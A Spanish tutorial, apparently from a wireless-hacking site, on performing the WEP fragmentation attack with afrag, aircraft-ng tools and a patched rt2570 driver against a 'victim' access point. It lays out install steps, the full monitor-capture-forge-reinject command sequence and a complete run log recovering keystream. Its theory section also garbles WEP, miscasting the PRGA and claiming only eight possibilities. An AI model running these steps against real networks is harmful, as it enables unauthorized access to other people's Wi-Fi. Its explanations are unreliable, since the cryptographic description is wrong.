Nota: Se ha respetado al máximo el contenido
original de la fuente del manual, si bien se han añadido breves
correcciones para adaptarlo al formato de la web, correcciones
mínimas siempre aprobadas por el autor del tutorial base.
Ataque de fragmentación con driver rt2570
modificado por ASPj ..... AFRAG
La verdad que he visto muy poca información sobre este
ataque. Hasta para mi que aun no ha sido testeado del todo. Pero
Bueno para eso estamos nosotr@s.
Se ve que este ataque solo lo soportan las tarjetas USB con
driver rt2xx0, aunque llegara el día en los demás chipsets
también.
Parece ser que los routers que se resisten al chopchop,
son altamente vulnerables con el Ataque de fragmentación
Aparte, recomiendo que lo hagáis con la distro de Back Track
2.0 Beta o con
Wifislax, con troppix 1.2 no me ha funcionado. En el foro del
aircrack-ng dicen que con ubuntu tampoco.
TODO ES PROBAR
UN POCO DE TEORIA
Digamos que el ataque de fragmentación lo q intenta conseguir
es el
PRGA
Q es el
PRGA: pues bien
es (
texto plano +
texto cifrado) y este se usa para la encriptación del
paquete.
Un ejemplo: 0011(texto plano)+0110(texto cifrado)=0101(PRGA)
Así que si conseguimos interceptar
texto cifrado y
sabemos cual es el
texto plano pues podemos averiguar el
PRGA y una vez averiguado usarlo para encriptar cualquier
paquete y así poder generar trafico.
PAQUETE ENCRIPTADO=IV + texto cifrado + PRGA
PRGA= 0000 0
0001 1
0010 2
0011 3
0100 4
0101 5
0110 6
0111 7
1111 8
Bueno el programa lo que hace en si, es capturar un paquete
cifrado de la victima que debe estar encriptado mediante WEP,
sino no vale.
Mediante este paquete saca lo que se llama el
Keystream
q es lo mismo que decir el Ciphertext
(texto cifrado) q
es de una longitud de 8 bytes (7 bytes + 1 de flag).
Una vez que tenemos el texto cifrado es fácil hacer el ataque,
recordemos que
texto plano + texto cifrado = PRGA
Pues bien si nosotros creamos un
texto plano y lo
intentamos codificar (Ingenieria inversa) si el AP responde ese
es el PRGA correcto y ya lo tenemos.
Para ello trataremos de recobrar la
keystream en dos
modalidades 8 bytes y 408 bytes.
Generando nosotr@s mismo , el paquete a enviar por si acaso por
si el AP tirase paquetes para atrás, se van utilizar 3 paquetes
distintos para el ataque.(
LLC
NULL,
ARP,
y un
paquete
normal cifrado) (alguno responderá al engaño)
Veamos como esta la estructura interna de cada paquete.
PARA ATAQUE CON KEYSTREAM DE 8 BYTES:
LLCNULL ( 63 bytes + 8keystream = 71 bytes )
ARP( 60 bytes + 8keystream = 68 bytes )
PAQUETE CREADO POR ASPj (66bytes + 8 keystream = 74bytes )
PARA ATAQUE CON KEYSTREAM DE 408 BYTES:
LLCNULL (448 bytes)
ARP(416 bytes)
Si al hacer el ataque el AP responde es debido a q el PRGA que
hemos usado es el bueno sino el programa seguirá probando con
las posibilidades restantes, como son solo 8 posibilidades en
total este ataque es muy rápido , en cuestión de segundos.
Una vez conseguido el PRGA VALIDO el programa creará el archivo
XOR de esta forma:
xor( keystream, iv , prga , 36) en el caso de 8 bytes
xor( keystream, iv , prga , 432) en el caso de 408 bytes
Traducción por Thefkboss
Pasamos a definir y estructuras los puntos mas determinantes
de todo el proceso.
- Descargamos el live-cd Back | Track
- Instalar el driver
- Instalamos la suite del aircrack-ng Mother Fucker
Edition 0.8
- Instalamos la aplicación afrag
- Entramos en acción
- README del afrag
- Capturas de pantalla del proceso
- Tipología de errores
- Enlaces subyacentes
Nota: esperamos y deseamos que este tutorial pueda
seguir aumentado su contenido en días venideros acorde a todas
las pruebas que se hayan producido, penar que es un proceso que
seguramente no estará al alance de todos y el cual seguramente os
encontrareis con algunas barreras para poder llevarlo a buen
puerto. No obstante, seguramente y derivado de la experiencia
generada entre todos podremos contemplar en este portal o en los
foros respectivos toda la evolución necesaria para que este
modelo de actuación este al alcance de todos. Recordar
inicialmente lo que ha sostenido el autor del mismo, haciendo
hincapié en que no esta testeado del todo, pero que para eso
estamos todos nosotr@s.
Entramos en materia importante:
1.- Descargamos el live-cd Back | Track
Para acceder a zona de descarga de esta distribución linux,
pinché:
aqui
2.- Instalamos el modulo del driver
rt2570
Lo primero que he echo es instalar el driver nuevo:
drivers : rt2570-k2wrlz-1.4.9
Para descarga directa del driver, pinché:
aqui
Necesitamos Internet con otra tarjeta para que funcione este
script.
Sino ya sabéis, os descargáis el paquete comprimido y luego lo
hacéis manualmente, exceptuando el paso de la orden
wget.
3.- Instalamos la suite del aircrack-ng Mother Fucker
Edition 0.8
Ahora instalamos la suite del aircrack-ng Mother Fucker
Edition 0.8.
Esta script solo es valida si disponemos de una conexión a
Internet, al igual que en el caso que hemos comentado con el
driver anterior.
4.- Instalamos la aplicación afrag
Una vez tenemos la nueva suite y el driver instalado, pasamos
a instalar la aplicación
afrag:
Hay dos formas de hacerlo, que seguidamente pasamos a describir:
4.1 Primera alternativa referente a la instalación del
afrag
La suite del aircrack-ng contiene un fichero denominado Makefile,
lo localizamos, usamos nuestro editor plano preferido y nos vamos
al siguiente punto:
cd /<PATCH>/aircrack-ng-0.6_motherfucker_edition_0.8/complementos/afrag-0.1/
make && make install
PATCH, equivale a la ruta donde esta ubicado la suite
una vez que ya la hemos descargado o guardado en nuestro sistema.
4.1 Segunda alternativa referente a la instalación del
afrag
Nota del autor:
recomiendo esta, porque es la que me ha
funcionado.
Nos vamos a esta pagina:
homepages.tu-darmstadt.de
y nos descargamos afrag-0.1.tar.bz2
Descarga directa
cp /<PATCH1>/afrag-0.1.tar.bz2 /<PATCH2>
bzip2 -dc afrag-0.1.tar.bz2 | tar -xv
cd afrag-0.1
gcc -o afrag afrag.c //compilamos
PATCH1, equivale a la ruta donde esta ubicado el
archivo bz2 que nos hemos de
homepages.tu-darmstadt.de
PATCH2, equivale a la ruta donde esta situada la suite
del aircrack-ng ME 0.8
Nota: Supongo muchos de ustedes tienen la
duda respecto al PATCH2, el autor no dudara en explicárnoslo
Ya tenemos todo listo.
IMPORTANTE!
SCRIPT DE INSTALACIÓN
si queréis ahorraros todo este proceso, solo tenéis que
descargaros este archivo de texto y tener Internet con otro
dispositivo que no sea el USB Wireless ..
meterlo en una memoria USB y ejecutarlo así desde donde lo
tengáis :
cd /donde_este_script (ejem: cd /mnt/sda1/ )
./airfrag
script
"airfrag.txt"
http://www.megaupload.com/?d=XKUMA311
5.- Entramos en acción
Abrimos shell en linux y ejecutamos los siguientes comandos:
#Activamos la tarjeta
ifconfig rausb0 up
#ponemos la tarjeta a punto
iwconfig rausb0 rate 1M channel [CANAL_DEL_AP] mode
monitor
#Capturamos con airodump
airodump-ng --ivs -w fragmentacion -c [CANAL_DEL_AP] rausb0
#Creamos el .xor para forjar el ARP....esto es la
#fragmentación.........Con el keystream podemos...
# Tarda unos 10 segundos más o menos.......si todo va bien
./afrag rausb0 [MAC_AP] [MAC_CLIENTE] FF:FF:FF:FF:FF:FF
192.168.1.23 192.168.1.24 dudu.xor
#Forjamos nuestro queridísimo ARP, para que funcione pondra:
Done
arpforge-ng dudu.xor 1 [MAC_AP] [MAC_CLIENTE]
192.168.1.23 192.168.1.24 test.cap
# Lo reinyectamos.........con Aireplay -2
aireplay-ng -2 rausb0 -r test.cap
Y veríamos como los datas incrementan en el airodump..........
6.- Anexo A
Aquí os muestro el README del AFRAG de ASPj.
haquetop2:/afrag-0.1 #
gcc -o afrag afrag.c
afrag.c:888:2: warning: no newline at end of file
haquetop2:/afrag-0.1 #
./afrag
ieee80211rawframework: Need to know your device!
haquetop2:/afrag-0.1 #
./afrag rausb0
USAGE: ./afrag <interface> <BSSID> <Client1MAC> <Client2MAC> <SrcIP>
<DestIP> <PRGA-Output-Filename>
haquetop2:/afrag-0.1 #
ifconfig rausb0 up
haquetop2:/afrag-0.1 #
iwconfig rausb0 rate 1M channel 1
mode monitor
haquetop2:/afrag-0.1 #
./afrag rausb0 00:0F:B5:59:29:16
00:12:F0:2E:B9:34 FF:FF:FF:FF:FF:FF 192.168.1.23 192.168.1.24
test.xor
Waiting for a data packet...
Data packet
found!
Keystream (recovered 7 bytes):
Size: 7, FromDS: 1, ToDS: 0
0x0000: 301e 313a 401e b5
0.1:@..
Sending fragmented packet
Packet:
Size: 60, FromDS: 0, ToDS: 1 (WEP)
0x0000: 0841 9500 000f b559 2916 0012 f02e b934
.A.....Y)......4
0x0010: ffff ffff ffff 0000 aaaa 0300 0000 0806
................
0x0020: 0001 0800 0604 0001 0012 f02e b934 c0a8
.............4..
0x0030: 0117 0000 0000 0000 c0a8 0118
............
No answer, repeating...
Trying a LLC NULL packet
Sending fragmented packet
Packet:
Size: 63, FromDS: 0, ToDS: 1 (WEP)
0x0000: 0841 9500 000f b559 2916 0012 f02e b934
.A.....Y)......4
0x0010: ffff ffff ffff 0000 0000 0000 0000 0000
................
0x0020: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x0030: 0000 0000 0000 0000 0000 0000 0000 00
...............
No answer, repeating...
Sending fragmented packet
Packet:
Size: 60, FromDS: 0, ToDS: 1 (WEP)
0x0000: 0841 9500 000f b559 2916 0012 f02e b934
.A.....Y)......4
0x0010: ffff ffff ffff 0000 aaaa 0300 0000 0806
................
0x0020: 0001 0800 0604 0001 0012 f02e b934 c0a8
.............4..
0x0030: 0117 0000 0000 0000 c0a8 0118
............
Got RELAYED
packet!!
Data packet sniffed:
Size: 71, FromDS: 1, ToDS: 0 (WEP)
0x0000: 0842 9500 ffff ffff ffff 000f b559 2916
.B...........Y).
0x0010: 0012 f02e b934 2009 0000 1800 df12 1f0f
.....4 .........
0x0020: b4b1 a561 1e67 4879 cbdc 8668 87b6 43ee ...a.gHy...h..C.
0x0030: 22da 739f fd26 8450 21fc bda8 d90c 84b6
".s..&.P!.......
0x0040: a55f bb1c 4ff7 e8
._..O..
Thats our LLC Null packet!
Resulting keystream:
Size: 36, FromDS: 1, ToDS: 0
0x0000: df12 1f0f b4b1 a561 1e67 4879 cbdc 8668
.......a.gHy...h
0x0010: 87b6 43ee 22da 739f fd26 8450 21fc bda8
..C.".s..&.P!...
0x0020: d90c 84b6 ....
Trying to get 408 bytes of a keystream
Packet:
Size: 408, FromDS: 0, ToDS: 1 (WEP)
0x0000: 0841 9500 000f b559 2916 0012 f02e b934
.A.....Y)......4
0x0010: ffff ffff ffff 0000 aaaa 0300 0000 0806
................
0x0020: 0001 0800 0604 0001 0012 f02e b934 c0a8
.............4..
0x0030: 0117 0000 0000 0000 c0a8 0118 0000 0000
................
0x0040: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x0050: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x0060: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x0080: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x00a0: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x00b0: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x00c0: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x00d0: 0000 0000 0000 0000 0000 0000 0000 0000
................
--- CUT ---
No answer, repeating...
Trying a LLC NULL packet
Packet:
Size: 440, FromDS: 0, ToDS: 1 (WEP)
0x0000: 0841 9500 000f b559 2916 0012 f02e b934
.A.....Y)......4
0x0010: ffff ffff ffff 0000 0000 0000 0000 0000
................
0x0020: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x0030: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x0040: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x0050: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x0060: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x0080: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x00a0: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x00b0: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x00c0: 0000 0000 0000 0000 0000 0000 0000 0000
................
0x00d0: 0000 0000 0000 0000 0000 0000 0000 0000
................
--- CUT ---
Got RELAYED
packet!!
Thats our LLC Null packet!
Resulting keystream:
Size: 432, FromDS: 0, ToDS: 1
0x0000: 24d5 bb04 db54 0679 ce1c 4cc9 e25f ea99 $....T.y..L.._..
0x0010: 9ce3 3fa7 0519 6dbe c761 fbb1 a9cf 741a
..?...m..a....t.
0x0020: 6ba2 3c42 db11 4d3d d52c 8acf d5c0 3b6b
k.<B..M=.,....;k
0x0030: ac21 b301 d66c 4040 5fe6 72f4 61a6 d1dd
.!...l@@_.r.a...
0x0040: 0d00 d328 d801 b36b cdeb 0f3a 3fd1 2f48
...(...k...:?./H
0x0050: 551c 8321 d786 5c59 6c44 566d 0517 c213
U..!..\YlDVm....
0x0060: 5aeb d1a3 7890 1554 2aec 9a8a 53f9 f985
Z...x..T*...S...
0x0070: 6b89 4820 3ed3 f942 cddb c6de 5789 03a9 k.H
>..B....W...
0x0080: 10a9 724b 0061 deaa 36d5 be58 864a 6145 ..rK.a..6..X.JaE
0x0090: 9396 0520 9d50 4930 0dce f22b 0cc6 cda0 ...
.PI0...+....
0x00a0: 3ee9 6a14 2220 d8b8 c1ed 16cd 6855 9d44 >.j."
......hU.D
0x00b0: 75e3 248a 9f9b e5aa ba17 4f64 6ab4 0dad
u.$.......Odj...
0x00c0: fe22 6a20 6374 93d8 0886 5f29 6373 3ca5 ."j
ct...._)cs<.
0x00d0: 0a9c 2e08 e9fe d31c e467 ce93 6535 6346
.........g..e5cF
--- CUT ---
Now you can
build a packet with packetforge-ng out of that keystream
haquetop2:/afrag-0.1 #
arpforge-ng
Arpforge-ng 0.6 - (C) 2006 Thomas d'Otreppe
Original work: Christophe Devine
http://www.aircrack-ng.org
usage: arpforge-ng <prga file> <type> <bssid> <mac src>
<ip src> <ip dest> <output filename>
haquetop2:/afrag-0.1 #
arpforge-ng test.xor 1
00:0F:B5:59:29:16 00:12:F0:2E:B9:34 192.168.1.23 192.168.1.24
test.cap
Done.
haquetop2:/afrag-0.1 #
aireplay-ng -2 rausb0 -r test.cap
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:0F:B5:59:29:16
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:12:F0:2E:B9:34
0x0000: 0841 0201 000f b559 2916 0012 f02e b934
.A.....Y)......4
0x0010: ffff ffff ffff 8001 0000 2100 8e7f b804
..........!....
0x0020: db54 0e7f ce1d 44c9 e45b ea98 9cf1 cf89
.T...D..[......
0x0030: bc2d ad16 c676 fbb1 a9cf 741a ab0a 3d5a
.-...v....t...=Z
0x0040: bab3 161e ....
Use this packet ? y
Saving chosen packet in replay_src-0929-032919.cap
You should also
start airodump-ng to capture replies.
HAVE a LOT of FUN and please don't forget to report back. THANK
YOU!
ASPj
Aqui unas capturas del ataque de fragmentación........
7.- Anexo B
Aquí unas capturas del ataque de fragmentación
- Error típico -


-
Conseguida la fragmentación -

Aquí esta todo.
- REINYECTANDO
-

Nos volvemos a fijar en la imagen que
presentemos en primer lugar donde se pone de manifiesto el error
típico acaecido por algunos de los puntos que hemos mencionado
anteriormente.